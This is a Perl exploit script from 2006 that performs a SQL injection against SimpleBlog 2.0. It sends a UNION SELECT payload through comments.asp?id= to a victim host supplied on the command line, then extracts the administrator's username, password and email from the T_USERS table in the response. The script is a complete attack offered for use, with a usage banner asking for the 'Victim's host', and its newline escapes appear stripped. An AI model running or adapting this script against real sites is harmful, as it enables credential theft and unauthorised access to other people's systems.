#!/usr/bin/perl
#Method found by Chironex Fleckeri 
#Exploit By ASIANEAGLE
#Contact:admin@asianeagle.org
#Original advisory: http://www.milw0rm.com/exploits/2228
#Usage: exploitname.pl <host> <path> <id>
use IO::Socket;
if(@ARGV != 3) { usage(); }
else { exploit(); }
sub header()
{
  print " *****SimpleBlog 2.0 SQL Injection Exploit***** rn";
  print "      *****www.asianeagle.org***** rn";
  }
sub usage() 
{
  header();
  print " *Usage: $0 <host> <path> <id>rn";
  print " *<host> = Victim's host ex: www.site.comrn";
  print " *<path> = SimpleBlog Path ex: /SimpleBlog/rn";
  print " *<id>   = Admin ID ex: 1rn";
  exit();
}
sub exploit () 
{
  $simserver = $ARGV[0];
  $simserver =~ s/(http://)//eg;
  $simhost   = "http://".$simserver;
  $simdir    = $ARGV[1];
  $simport   = "80";
  $simtar    = "comments.asp?id=";
  $simsql    = "-1%20UNION%20SELECT%20ID,uFULLNAME,uUSERNAME,uPASSWORD,uEMAIL,uDATECREATED,null,null%20FROM%20T_USERS%20WHERE%20id%20like%20".$ARGV[2];
  $simreq    = $simhost.$simdir.$simtar.$simsql;
 
  header();
  print "- Trying to connect: $simserverrn";
  $sim = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$simserver", PeerPort => "$simport") || die "- Connection failed...n";
  print $sim "GET $simreq HTTP/1.1n";
  print $sim "Accept: */*n";
  print $sim "Referer: $simhostn";
  print $sim "Accept-Language: trn";
  print $sim "User-Agent: Mozzillan";
  print $sim "Cache-Control: no-cachen";
  print $sim "Host: $simservern";
  print $sim "Connection: closenn";
  print "Connected...rn";
  while ($answer = <$sim>) {
    if ($answer =~ /class="c_content">(.*?)</td></tr>/) { 
      if ($1 == $ARGV[2]) {
        print "Seems Vulnerable :)rn";
      }
      else { die "- Exploit failedn"; }     
    }
    if ($answer =~ /class="c_content"><b>(.*)</b>/) {
      print "- Username: $1rn";
    }
    if ($answer =~ /href="mailto:(.*?)">(.*?)</a>/) {
	  print "- Password: $1rn";
    }  
  }
  
 
 
}

# www.Syue.com [2006-08-20]